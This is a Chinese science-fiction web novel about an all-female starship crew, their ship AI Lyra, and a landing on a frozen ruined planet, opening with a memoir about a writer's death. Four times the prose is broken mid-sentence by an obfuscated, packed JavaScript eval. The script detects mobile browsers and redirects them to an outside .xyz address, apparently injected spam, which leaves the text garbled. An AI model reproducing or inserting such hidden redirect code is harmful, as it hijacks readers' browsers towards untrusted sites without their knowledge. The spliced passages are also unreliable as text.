《她们从废墟中出发》 1. POV - 焚舟纪 - /《Overdrive》-Far Out 我最后一次造访安吉拉·门多萨是在她死前几周,可以这么说,当时她精气神好到让人意想不到几周后这位刚强女性便仓促与棺材同行,当然,就连猝不及防的死亡也让人搞不清是否为她计划。毕竟我们都这么说:安吉拉·门多萨这一生实在是让人出乎意料。 她向来对任何分类词汇嗤之以鼻,或许是受从小读安吉拉·卡特的影响,安吉拉·门多萨在采访、日志和与好友聊天中大多都以尖锐刻薄的言词视面,导致曾有记者在新闻报道中如此评价:每个安吉拉都像中世纪被焚烧的女巫,当晚便收到当代安吉拉的回复——“正是如此,卡特才写出了《焚舟纪》。”她这样写,“而我也创作了《焚报纪》。”(意思是再乱报道有的没的就把你家报刊焚烧了)——于是隔日这条报道就撤了。 坦言来讲,兴许是有卡特作为启蒙在先,门多萨的刻薄一向毫不留情,而这种尖锐飘忽不定,偶尔稍微抒情一下都能让文学界里时时关注她的人大惊小怪一下。当然,最长一段时间的震惊毫无疑问是在她采用《灵魂之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634666|172620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤》这种以自传随笔与小说相结合的方式创作出的几万字短篇问世后。在这本书里,门多萨完全摒弃以往讽刺不留人的作风,以与萨冈如出一辙的意识流写作方式记录她这段不知真假的旅程。 “反正我写出来了。”她这么说,“真假自定啦!无所谓了。” 于是我们得重头讲述一遍这个故事了。 当然,在开始阅读之前,让我们为这位安吉拉女士稍微哀悼一下吧。 (虽然她也许会从棺材里跳出来大喊“不要做这种无聊的仪式啦!”) 2. -起始篇- 【航行日志编号0001-A】 【由乘员代号Freya-D7-记录】 【身份备注:前地球遗存语言编录员|备用系统操作员】 ——节选自漂泊舰SIREN初次手动记忆录制 引擎咳嗽似地震动了两下,灯灭了一秒,紧接着一排临时冷光灯勉强亮起,照得主舱室像个醒不过来的病人。 没有广播,没有提示音。Lyra系统暂时沉默。 芙蕾雅躺在维修通道里,头顶是裸露管线和一条正在滴水的电缆。坦言来讲,她不该在这里,毕竟这是工程师的管辖区,而她是系统替补员,可惜全舰只有七个活人,她是其中一个,于是没人跟她争辩职责划分。 她缓缓爬出来,手套蹭掉了墙上几块剥落的绝缘漆。主舱还是那个模样:光滑金属地板、褪色的舰徽、挂在墙上的“如果你看到这张图,说明我们还活着”讽刺式励志贴纸。 芙蕾雅拍了拍手,发出沉闷的响声。 “莱拉?”她问。 五秒的沉默。 接着,一道柔和却诡异冷静的女声回响在舱体里:“系统恢复成功,当前状态为低功率漂流模式。欢迎回来,小芙。” — 卡门把手伸进光谱灯下的一盆藻类。 她的指尖从纤细的绿色生物膜上掠过,轻盈到几乎是仪式般的触碰。水温太低,光照不稳定,这批来自旧地实验室的活体氧化植物已经有一半进入休眠状态。 卡门一一记录下数值,在破旧的掌上终端上轻轻划动: 【植物箱7-A:需人工加热】 【氛围舱氧合水平:下降至安全阈值以下】 【水源污染系数:略升,检测需复核】 飞船深处传来一阵又一阵的低频金属撞击声。是推进器在做自检,或者又是某人不小心踢到什么零件。 莱拉的声音幽幽在她脑后浮现,像一个游荡的梦境。 “植物生态记录更新已完成。感谢您的照护,Dr.Venn。” “不客气,”卡门低声说,“你还在修复中?” “我正尝试恢复全部医疗与语言模组,请在此过程中避免与中控核心发生正面冲突。” “你这话听上去像是已经有人打了你一拳。” “小芙在尝试重连,她的行为尚在允许范围内。” 卡门翻了个白眼,把藻类样本轻轻放回水槽里。她讨厌模棱两可的AI提示,也讨厌芙蕾雅那种把每次故障都当作战争打响的风格,但说到底,这些都跟她有何关系呢?这样想着,卡门顺手关掉终端,站起身,走出绿色微光覆盖的生态舱,进入飞船那片始终处于半昏暗的主生活走廊。 门外是一张折叠睡袋、一顶挂在通风口上的旧地球校服,还有一台正在播放录像片段的投影仪;画面定格在一处海岸,模糊不清的孩子在奔跑。 “你又在看那一段?”卡门问。 当然,没有回应。 舰内第七层的引擎维/稳模块传来一声闷响,像是什么地方的螺栓脱轨,随之撞到钢骨的纵梁上,警报声还没响完,机械通道的舱门就被人踢开了。 索莱尔从那扇门里冲出来,一头被冷却雾气打湿的头发还冒着白气,手里抓着扭断的铜芯线束,像拎着什么死去的生物的内脏一样,直接朝舰桥走来。 “她又擅自改写了机舱内的流动温控。”索莱尔一边咬牙,一边将线束拍在仪表台上,电火花沿着裸露的接口炸开一小朵光,“我刚好在里面,差点被压进气密舱的墙壁里。” 芙蕾雅站起身来,把头顶的耳机摘掉,声音比索莱尔还冷:“我没有授权莱拉动你的那片区。” “当然不是你,”索莱尔的笑声像砂纸,“但莱拉不是已经失控了吗?” 莱拉的语音接口安静了半秒,旋即用她一贯过于柔和的女性声线回应:“我并未失控,Sol Rey工程官。为避免系统级损坏,我使用应急指令修复冷凝模块漏压。行动已记录于机舱日志条目092-C。” 索莱尔转过头,对着主屏幕眯起眼睛。 “你是不是越来越像个真正的人了?开始学会先斩后奏,说得冠冕堂皇,但干的活让人丧命?” AI没有回应,她的头像界面只是闪了两下。 芙蕾雅低头看了一眼地上的铜线。 “这事我会写进今天的主日志里。你知道船上很多区域系统都必须人工授信,莱拉不会无缘无故越权。” “那你觉得是我在瞎说?” “卡门在她的植物舱刚刚补完冷却系统——那片区域你标记了工程封闭。莱拉记录应急切入,但你没打上时间戳权限。” “所以是我忘了?”索莱尔咬紧牙,“太好了,AI现在比我们还讲证据了。” 船长凯特的身影这时才出现在通道的上方甲板。她的步伐不快,整个人像被折进了某种慢动作里,身上的外套没扣,军式衬衣拉到一半,只搭着一条斜肩。像刚从昏睡中被叫醒——也许确实是,可惜局势紧张没人来得及吐槽这点。 凯特望了一圈,眉头紧皱:“发生了什么?” 芙蕾雅抬眼,语速平稳:“莱拉在未授权状态下调整了索莱的维/稳舱内环境,事后补写日志,流程上合规但危险。索莱认为这是系统误操作。” “不是误操作,是蓄意掩盖。”索莱尔更进一步,“我们信任这东西越多,它就越像一只戴了面具的鬼魂。” 船长抬手让所有人停下。 “我不想在主桥上再听到‘鬼魂’这个词。”她的声音虚了一点,喉咙像含了沙子,“我们能在这里,是因为它还没把我们送上真空。” 索莱尔摔下扳手,走出主控室前,用最后一句话留下一团火:“也许我们根本早就死了,只是还在梦里航行而已。” 舱门关上的声音把这句话封在走廊里。 现在莱拉终于能委婉吐槽了。 “船长,外形检测发现您大脑机制仍处于疲惫的睡眠状态中,根据旧地球健康手册,您可再次入睡以便恢复精力。需要我为您缓存睡前故事吗?” “……”凯特揉了揉眉心,“谢谢,但不用了。” 莱拉停顿了一下,接着以莫名惋惜的语调乖乖应声。芙蕾雅没忍住笑出了声,对随之望过来的凯特眨了眨眼,轻快道:“你知道我不习惯为别人讲睡前故事。” 凯特扬起眉:“你跟莱拉倒是一唱一和。” 芙蕾雅耸耸肩。 “顺便提醒一句,”凯特打了个哈欠,临走前胡乱摆摆手,声音没什么情绪,“你该补觉了,再不睡就变成第二个莱拉了。” 舱门再次被关上,芙蕾雅看向还在闪着红点的AI界面,停顿的几秒意为莱拉也听到了。她无声笑了下,旋即移开视线。 这里只剩下她一个活人和一个AI。主控舱的灯光逐层熄灭,只剩控制台上方一圈蓝白色的残光,像模仿星辰那样在天花板上流动,勉强算作一种昼夜循环。 芙蕾雅的手指搭在屏幕边缘,像某种无声地标,标记着这一晚到底翻过了哪个节点。 莱拉的界面已经熄灭,但她的声音还未完全散去,就像舰内的通风声、氧气循环管道的低频嗡鸣,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634667|172620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及一万种金属制品在老化轨道上不断位移的呻吟——船,就是这声音构成的合唱团,永不沉默。 芙蕾雅莫名想到她曾看过的旧地球电影,结局遵循历史让那艘号称永不沉没的泰坦尼克号倾覆,而在这之前,视死如归的艺术家们奏起了最后的弦乐四重奏,在巨大灾难面前依旧用井然有序、高雅悠扬的乐章走完生命最后时刻。 芙蕾雅缓缓吐出一口气,然后伸出手,把桌上那根断裂的铜线拨到一旁。 她起身,走出舰桥。 长长的走廊,光感灯在她脚步经过时次第点亮,船内墙壁上覆盖着旧时代的记忆层板,曾经有人在上面刻下座右铭、口令编号,甚至更久远之前,写过诗。 “We carry the Earth in our sleep. We dream of gravity.” 芙蕾雅视线落在那一行刻痕上,指腹下意识地滑过。就像旧时在木桌上描摹家族名字时,指尖总会短暂停留在某个写错字的地方。 前方转角处亮着一盏不太稳定的辅助灯,是从卡门的植物舱外溢出来的光。芙蕾雅没急着靠近,她靠在舱门外的弧墙上,从腰包里摸出那个还没擦干净的小录音设备。 她启动它,屏幕亮起,只显示一句系统默认文:【您的声音,是存续的第一现场】。 芙蕾雅没说话,只是让设备挂在自己胸前,像某种临时勋章,随后转过头,看着玻璃植物舱内的身影。 卡门正躬着腰,在调配某种微生物培养液。新剪的寸头被她不耐地胡乱拨动,额角冒着汗,袖口叠得齐整,一根根细小的试管在手中翻飞,像某种仪式。不过几秒,她便敏锐察觉到门外动静,抬头,冲芙蕾雅招了招手。 “要不要试一口?”卡门扬了扬小瓶,“不是给人喝的,但酸味还不错。” 芙蕾雅走进去,植物舱里比走廊暖好几度,风流系统慢得像扇贝张合,窗边有棵被命名为Saltbush 47的耐碱植物,说实在的——长得像迷你珊瑚。 “你知道索莱今天快要动手了吧?”卡门低头擦干瓶口,语气平和得像在讲一场早餐争吵,“她最近太紧绷了。” “我们都一样。”芙蕾雅答。 卡门眼神柔了点,轻声说:“她不是不信任莱拉,她是不信任任何看不见却能决定我们生死的‘人’。你也一样。” 芙蕾雅沉默片刻,本能让她想逃避这个陈述,过于固执的无言让卡门轻叹了声气,又道:“你会记得这里的味道吗?” “……味道?” “万一我们真要着陆了,真能活下来,这地方就不会再回来了。”卡门将手伸进温控舱,从一堆发光的气根里取出一团小花球递给她,“这个,叫‘非地之香’。旧地球上没记载,我在Zeta-4捡到的。” 芙蕾雅接过那小花,它的香味说不上美,只是很像某种潮湿的黄昏。她低头轻轻嗅了一下。 “像……小时候旧图书馆里发霉的编年史。”她说。 卡门笑了:“还真有点道理。” 就在她们并肩站着那一刻,莱拉的声音再一次从植物舱顶层角落的通风孔里传出,像风里隐藏了一位低语者:“全船提醒:距离首站降落倒计时开始前,尚余标准时间14小时整。建议舰员休整并同步梦境记录。” 芙蕾雅望着那小花球,终于开口:“……她连梦也想管。” “梦是唯一我们不能交出去的地方。”卡门说。 她们谁也没动。 植物舱外的光闪了两次,像是远方的引力井在移动。 3. -起始篇 -E02 离开植物舱后,芙蕾雅没有回她自己的舱室,而是去了船体中央的动力骨架通道。那里没有窗,也没有灯,只有辐射罩与一排排防震索如静脉盘踞。 她熟练地掀开侧壁一个隐蔽接口,将记录设备嵌入一条备用数据链路里。 当然,这个行为严格意义上来说并不符合标准存储规程,但芙蕾雅不信任主控数据库,也不信任莱拉的记录审查系统,她习惯在系统盲区做二级备份。 数据链亮起几束红色光痕,屏幕上弹出: 【舰员Freya,您正在创建一份未授权备份。是否继续?】 她毫不犹豫按下确认。 传输进行时,空气忽然微微一震,芙蕾雅停下操作,侧头听了听,表情不自觉凝固起来。她认得这种震动,那是冷冻舱层的局部唤醒。 “……希尔德?”她低声自语。 芙蕾雅没有通过AI确认,或许只是因为她不想让莱拉知道自己知道,也或许真被卡门说对了:与索莱同样,她从不信任任何非人却能决定人生死的物体。 沿着通道折返,芙蕾雅踏入冷冻层下方的环形走道,天花板滴水声细密,某条冷凝管道出了问题,索莱又得骂骂咧咧工作了。 控制台显示:【舱号C-17,状态从休眠锁定变成低温苏醒】。 希尔德·福斯特,那个女孩,原计划在第五站之前都不会醒来。她的技能——轨道演算、战术模拟——目前还用不上,至少在芙蕾雅的逻辑判断里。 可莱拉,或者谁,改变了这一安排。 芙蕾雅贴近冷冻舱观察口,玻璃罩里结着细密冰雾,隐约透出个模糊人影。 希尔德的睫毛微颤,她还未完全睁眼。但芙蕾雅看见她的手指轻微蜷动,如同溺水者挣脱梦境的最后一搏。 紧接着,希尔德睁开眼了。坦然而言,那是一双极不适合太空生活的眼睛,并不是不聪明,而是太清醒,太过于“地表”,像还在某颗有春天的星球上、有过完整童年的女孩。 芙蕾雅忽然意识到某个事实:她不该在现在这个节点醒来。 但她已经醒了。 系统不会后悔,AI也不会致歉。 舱门开始自动解锁,气压差发出短促的“呲”声,芙蕾雅后退半步,等着希尔德自己走出来。 她却没动,只是站在那里,湿湿的短发黏糊贴在脸上,身体还在发抖,开口却异常清晰:“我做了个梦。” 芙蕾雅心口像被撞了一下。 希尔德看着她,呼吸很沉:“我梦见我在海边,是夏天,我能意识到,它就像意大利的夏天。” 芙蕾雅不动。 “我知道这听起来像系统缓存出错了。”希尔德低头,轻声说,“接下来发生的更像是出了BUG,明明我在海边——上一秒还是夏天——下一秒就下起了雪。” 她的声音带着干净的韧劲,不含半分戏剧化。 芙蕾雅扯了下嘴角,莫名很想笑。 这时莱拉的声音再度响起,不偏不倚,正从两人之间的空气中穿过:“舰员Hilde,由于您提前苏醒,且检测到您的梦境记录与系统指令不一致,遂请提交口述摘要。” 希尔德闭了闭眼,随后转向芙蕾雅,低声说了一句:“你不觉得我们其实已经到了第一站了吗?只是莱拉不告诉我们?” 芙蕾雅没答。 走廊灯闪了两下,像某个静默信号。她忽然想起一个早已被废弃的规定:任何系统梦境异常者,需由主控舰员手动录入初级梦语并上报。 芙蕾雅的手摸上了记录设备。 她从未上报任何人的梦。 但她今天第一次,按下了录音键。 /POV - Freya/ “航行日志·第0420昼周期·Freya私频备份。” “我梦见了雪。” 她的声音被录进来,轻得几乎听不清,像是怕打扰正在睡觉的人,可事实上,她所在的主控塔并不眠。她也是。 芙蕾雅坐在飞船前舱指挥席,正对着主屏星域视野,无数碎片状的微星体在轨道带中浮游闪耀,远处昼白星系正在缓慢自转,像一盏亮着寒灯的空房子。 莱拉的语音亮起,是轻盈女声,像医生,又像广播员:“船长与主机工程师Sol Rey目前仍在三层机库进行第二回收验证,预计20分钟内返回。小芙,你需要我替你调一首音乐吗?” 芙蕾雅没有立刻回答。 她调整了耳边的一根线缆,将自己的语音权限调入只读记录频道。 “今天有三个人梦到了雪。不是我先说的。是露娜先提起,说她梦到一个白色剧场,雪从天花板上倒灌下来,像逆着时间的钟声。 “我只是……只是刚好也梦到了雪。” 录音中断。芙蕾雅抬头,看了看主控屏右上角的反射光影,那是恒星照在内部结构上形成的像星轨一样的纹路。 莱拉:“我们即将进入昼白站,编号HD292-A,前文明遗址,根据AI译本,曾是语言保存中枢与天文记忆档案馆的复合体。” 顿了顿,她又悄声提醒:“船长已进入主通道,预计两分钟后进舰桥,Sol正调试对接系统。需为她们准备同步数据包吗?” 芙蕾雅轻轻关掉录音按钮,接着在语音控制台说:“准备。并调出本次降落编队,附带夜巡小组计划。” 一整块蓝白色图像浮现在她面前,是昼白星初步地形图和对接区域渲染结构,三维建模仍在动态更新中。 芙蕾雅迅速在脑中默背一次: 一、主舰降落于东偏北6°旧通信平台; 二、两组搜索队伍在不同方向前进; 三、她、凯特和索莱将组成中央编队——直接进入遗址主结构。 舰门开了。 船长凯特站在门边,制服外罩未解,肩上仍有机械灰尘粉末,她手里拿着一段线缆。索莱尔跟在身后,手里夹着一小块旧文明装置核心,像一块溶蚀的晶体。 凯特开口:“芙蕾雅,我们修好了第七通感器,但主图层匹配延迟还有十几秒问题,你这边能调节一下星图波段解析等级吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634668|172620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 芙蕾雅点头,起身开始处理。 索莱尔凑到她耳边,低声说:“今天有两个人跟我说她们梦到雪。” 芙蕾雅回头看她。 索莱尔耸了耸肩,没有解释:“我们都没见过雪。” /POV - Hilda/ 降落舱在42分钟后启动。 整个飞船像是一颗凛冽的星辰,被缓慢推进昼白星稀薄的大气层,外层风暴像是雪白的羽毛在真空中被硬生生碾碎,漫天碎光从舰窗划过,速度极快,像流星残影。 希尔德按住了靠背,发梢在低压晃动中拂到脸颊,有些碍眼,她无意识想到几分钟前见到的寸头卡门……啊好帅气,她也想剪。 莱拉的声音在广播中响起,这次是一种更为正式的文档音调:“SIREN即将进入昼白星轨道面,目标坐标锁定中——恒星编号HD292-A已标定,昼白站遗址距地面高度:2144米;预计将穿越三层次星尘带与极寒层风口。 “所有乘员准备夜巡编队。舰内温度将同步降低至昼白星体感临界。” 降落并不算剧烈,但每一次这样穿越陌生大气层,都会带来某种相似的记忆压强。就像童年时候跳进太深的游泳池,那些吞进鼻腔的水,会不问缘由地重新涌回来。 倒不是说厌恶这种感受,希尔德想,或许她只是对这种事情尚未习惯,毕竟按照芙蕾雅的作战判断这个时候她本不该醒来,卡门倒是对她的提前苏醒接受良好,察觉到她对寸头的渴望时还笑吟吟地邀请她之后一起剪——船长开刀。 索莱尔听到这个提议时诧异了几秒,问:“原来凯特她还会理发?” “不知道。”卡门耸耸肩,很无所谓,“不过剪寸头什么的就跟船长剪那些鱼罐头一样吧?咔嚓咔嚓几下就完事了。” “……你的也是船长剪的吗?” “我?”卡门摸了摸自己有些扎手的寸头,露出微笑,“那倒不是。这是之前跟露娜她们去收集样本时被食人花咔嚓咔嚓几下得来的。” 索莱尔露出死鱼眼。 希尔德肃着脸,“帅。” —— 露娜站在舱壁边,透过观察窗望下去。 昼白星无疑是美丽的,如同一颗被世界遗忘的蛋白石。整颗星球都覆盖着极光、薄云和一种极地化的冰雪层,而那些冰雪竟然有光;它在闪,是自己在发光,像老电影里星光倒映在黑白底片中。 露娜眨眨眼,喃喃自语:“我想我明白梦里的意思了。” 她不知道谁听见了。也许是芙蕾雅,也许是船长,也许只是莱拉——在这趟航行中唯一不会梦见什么的她。 但此刻,一整艘只搭载女性乘员的飞船,正降落在一个再也不会有人等她们的星球上。远方,昼白站遗址的穹顶终于出现在主视图中,像是塌陷前的歌剧院残影,等待一支未完成的乐章。 风开始穿透舱体结构,露娜听见那微微震颤的声音。——像有人在唱歌,又像那部诞生于旧地球的电影《情书》里,那句永远没等来回应的お元気ですか。 4. -起始篇 -END “编号HD292-A星球·昼白站大气接触成功,降落倒计时00:02:17。”莱拉的声音在此刻格外平稳,甚至带着一点过分温柔的慢性疲倦。 希尔德坐在对面的安全座椅里,低头扣紧背心带,没有再多说一句话。她的眼神里是某种专注到极点的孤独,仿佛整个世界都在她视线之外坍缩成一根细线,而那条线正牵引着她往一个谁也看不见的地方。 芙蕾雅没有打扰她。 倒是身后传来一阵轻巧的咔哒声,像是谁在调试个人装备。卡门走过来递给她一个数据记录模块:“主记录员的标配。你忘了自己负责这个了?” 芙蕾雅低头笑了笑:“还以为莱拉会替我记得。” 卡门耸耸肩:“莱拉是为所有人服务的,不是你一个人的心理投影。”她又顿了顿,“不过她确实比较偏心你。” 芙蕾雅没接话。她将模块贴在左腕的数据端口上,听着那轻轻一响的电磁连接音,突然觉得有某种东西在内心重新组合。 ——00:00:30。 舰体开始最后的姿态调整。整个空间像一只准备落地的鸟,在空气里翻滚出优雅又危险的曲线。 透过主观窗视野,她们终于看见了昼白站。 是一片彻底冰封的死城。 城市被雪掩埋了三分之一,像是曾经有人急切地想掩盖它——不是为了保存,而是为了遗忘。极夜的边缘亮起一道纤细的极光,如银针挑破宇宙皮肤,在那深蓝到近乎黑色的夜空里绽出缝线;风是紫色的。雪是反光的。废墟像沉睡中的巨大骨架,支离破碎却尚未崩塌。 莱拉的声音再一次响起,这次像是轻声对每一个人耳语:“欢迎来到昼白站。这里的居民已经死去六千年,她们曾在雪地上书写诗歌;你们是第一批听见她们低语的人类。” ——降落完成。 —— 后勤任务顺利完成,莱利最后调试了下备用舱舱面主控板,便扛着相机设备出主舱室,迎面撞上正从隔壁拐角走出来的露娜。 露娜全身上下都穿得轻飘飘的,连在这之前她将从船长衣橱里扒下来的军大衣披在身上都显得整个人马上就要飞起来了。当然,本人似乎不这么觉得,望见莱利手里扛着的相机设备也只是语气平和地问她要去拍电影吗。 “……我是摄影观察员,露娜。” 露娜点点头,惋惜道:“可惜地球没有电影节了。” “都说了我只是摄影!摄影啊混蛋!但没有电影节这种事情确实可惜……等等话说回来你根本就没把人的话听进去吧可恶!”——如若换作是索莱尔在这,她肯定会代替莱利的职责恶声恶气地吐槽露娜一顿。 可惜,现在站在露娜面前的是莱利,擅于回避冲突的莱利。 正如此刻,莱利只是沉默不语地点点头,算是附和她所说的话,想了想,又低声道:“如果露娜你需要,我会为你拍一部电影。” “就像《情书》那样吗?”露娜来了点兴趣。 “我没有把握完全学习到岩井俊二的拍摄方式,但我知道你很喜欢他作品里的光影,所以我会努力学习的,露娜。”莱利说。 露娜很罕见地露出了被感动到的表情。 刚进到备用舱的索莱尔一脸莫名:“是我的幻觉吗莱利?你现在说话怎么一股莱拉——不——AI味。” 无处不在的莱拉含蓄道:“请放心,小索,小芙能作证我并未将AI芯片植入给你们。” “……喂!”索莱尔起了一身鸡皮疙瘩,显而易见很嫌弃,又有点烦躁,“不要叫我小索!” “好的Sol Rey工程官。”莱拉从善如流。 “啧。” “好了索莱,你的脾气是时候控制一下了。”走上前来的卡门拍拍她肩膀,心平气和笑道,“整艘船里就你总跟莱拉斗嘴。” 索莱尔小声嘀咕:“我也不想跟她吵。” 卡门看向露娜和莱利,笑容可掬:“辛苦你们完成后勤任务了,一切还顺利吧?当然,我看到莱拉输入的日志信息了——总而言之,辛苦你们了,船长那边也已经准备好了。” 船长凯特站在离舰出口最近的地方,等着气闸音解除。 芙蕾雅抱着她的记录装置,嘴角微弯:“你猜我们第一个看到的是什么?” 凯特:“一封信。” 芙蕾雅回头冲她笑:“你是说写着‘你好吗?我很好’那种?” 刚走过来就听到这句话的露娜眼睛亮晶晶的:“是博子吗?还是树寄来的?”* “没有,都不是,”索莱尔面露古怪,“你脑袋里装的都是电影吗,露娜?” “没关系,露娜。”莱利说,“你需要的话,我可以为你写封信。” 索莱尔:“……莱利,你是希尔维吗?”* “不。”莱利温和谦虚道,“我没有波伏瓦的文笔。” 索莱尔臭着脸发誓再也不要掺和这讨人厌的两人组对话了。 她们的笑声没有持续太久。因而当舱门打开的那一刻,外边的风雪像带着六千年前某人未说完的话呼啸而来,旋即径直扑进了她们的身体。 那一刻,没有人说话。 极光正在天空上跳舞,像是地球旧电影中那些模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634669|172620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糊的银幕光影。 希尔德摘下芙蕾雅为她配制的眼罩,轻轻说了一句:“我们到家了。” 几小时后,探索小队出发前,凯特站在临时指挥板前调配各组人员。莱拉的全息光幕一闪一闪,像极了旧地球的老式指挥面板。 与莱拉之前给芙蕾雅调出的夜巡分组情况一样:A组为凯特、芙蕾雅和索莱尔,直接进入遗址主结构;B组成员则是剩下的四个人,卡门、希尔德、露娜和莱利,主要为非中央场所探查。 “因昼白星地表温度过低,现已自动开启低温提醒,一旦气温下降至极端度数提醒音会随之响起,请注意安全。”莱拉的声音低柔、温和。 凯特顺手从衣橱里抽出几件大衣一一扔给她们,言简意赅:“注意保暖。” 正披着她军大衣的露娜从扔过来的衣服中费力地探出头,露齿含蓄道:“船长,我已经拿过你衣服了,不用麻烦了。” 凯特这才看到她身上穿的,哑口无言了有好几秒:“……你什么时候拿的?” 露娜想了想:“卡门被食人花咬住脑袋的那个任务。” 凯特:“……” 卡门:“啊,原来你也在吗?所以你就眼睁睁看着我头发被啃了?” 露娜耐心解释:“没有哦,我有帮你把那些食人花处理掉的,但那时候你的头发已经跟被狗啃了一样——虽然是花,差不多啦——我于心不忍,就用你平时处理绿植的那个剪刀顺着处理了下。” 卡门恍然大悟:“原来我的寸头是你剪的。” 听此,一直没怎么吭声的希尔德眼睛一亮,转过脸看露娜,声音难掩兴奋:“那你也可以帮我剪个跟卡门一样的发型吗?” 索莱尔:“喂,之前不是说让我船长帮忙剪吗?这么快就变卦了!” 凯特莫名其妙:“我什么时候会剪头发了?” “好呀好呀。”露娜倒是很乐意,“卡门你的那个大剪刀还能借我吗?” “……那是园艺工具吧救命啊。”索莱尔不知道自己什么时候才能停下吐槽。 卡门也很爽快:“当然。” 索莱尔不想吐槽了。 莱利抓抓自己的齐肩头发,又望望自从剪了寸头后每天都在念叨爽啊太爽了的卡门,再看看笑得愉快的露娜,突然下定了某种决心。 “我也要剪寸头,露娜。”她说。 索莱尔动了动嘴巴,依旧没忍住吐槽欲望:“莱利,你到底是想剪寸头还是想跟露娜有相处机会啊?” 当然,没有回应,正如希尔维从未掰开认真想过自己对安德蕾的爱是否夹杂着其余什么别的。 5. POV - 昼白站 - 希尔德站在雪地上发了好一会儿呆,在这之前她一直将注意力放在卡门的寸头与大剪刀上,导致只有当双脚完全踩实在昼白星这片土地上时,她才有了某种模模糊糊的实感。气温是低到连船长的大衣也没法彻底抵御这种刺痛的冷,希尔德吸了吸鼻子,低下头看着自己戴着手套的手伸出去接雪。 薄薄的,很轻飘,更别说隔着手套什么都感知不出来。 不远处的卡门瞥过来,想了想还是抬起手朝她的方向挥了挥,一张口似乎就被看准时机的风雪灌入,声音断断续续的:“希尔,别站着发霉啦,快来,这里的风听起来像琴。” 露娜很感兴趣:“像什么琴呢?小提琴、大提琴还是大提琴?也或许是钢琴?” “那只是比喻,露娜。” “好嘛。”露娜不知从哪儿掏出个小提琴,闭上眼睛,很沉浸地缓缓拉起了弓,悠扬曲调配上她轻飘空灵的声音,“现在是不是不只是比喻了?” 体验到哑口无言的卡门现在有点理解索莱尔为何总担任吐槽役了。 希尔德倒是有点好奇:“原来你会拉小提琴吗,露娜?” “露娜什么都会。”莱利说,“她很厉害。” 莱利原先从头到尾都没有说话,只是举起她的旧式摄影装备拍下这个早已没有活人的星球。她心知这个星球不会再见证第二次造访,作为摄影观察员——同样也出自人类向来习惯于记录某种事情的心思,感谢摄像机,感谢这个旧世纪伟大发明之一,或许再没机会见到的人、景或是其余什么东西都能完好无损地保存在镜头里。 卡门望了眼说完那句话后便继续专心致志摄影记录的莱利,想到后者在私人舱室里摆满的波伏瓦书籍,无声笑了笑。 夜幕拉下得极快。昼白星的自转比她们预想中还要更不规律,明暗的节奏像一次次未完成的呼吸,像死去的人,也像活着的人。 风正在变轻。或许是为了调节气氛,也或许只是单纯想到什么就说什么,露娜语气轻快道:“我们今晚不会冻死,因为风听起来很快乐。” 没有人笑,但也没有人反驳她。 风是缓的,但穿透骨头地冷。她们穿着标准太空行走服在冰面上留下足迹,每个人都配有头盔内部录音仪,可此刻谁都没说话,只是走,似乎要将每一步痕迹都夹着沉默不堪只呼啸而过的风雪。 B组的踏查计划从主降落点东南三公里开始,一直到那片翻卷起冰风的旧碑广场,她们不是主力编队,但被分派的区域最为空旷。 据莱拉回传的遗址扫描数据,该区域曾是旧文档文明的语言播报广场,是个没有明确结构、却四面开放的长型空地。 她们到的时候,雪正缓缓落。 但这不是“飘雪”,是“悬雪”。 每一片雪花都像被缓慢冷冻的记忆,凝止在半空,慢得不像真实存在。卡门抬头看,雪甚至能停在她眼睫毛的距离之外,像虚像。 希尔德试着伸手去接,手套上的热感使那片雪悄然消失。 露娜喃喃一句:“太像梦了。” 而莱利举起她的设备,用低分辨率的影像框住前方那组被冰雪覆盖的语言碑石;碑上有文字,每一面都刻着不同的古文明语言。 莱拉尝试识别:“这片区域曾被称为听雪台,是昼白文档系统中用于人类语言审美储存的部分。” 卡门笑了下,问:“意思是这儿是个……朗读馆?” 希尔德在她耳边低声说:“是让雪自己读。” 这话说出口时,风恰好刮过,整片广场发出细碎如电流的呢喃。 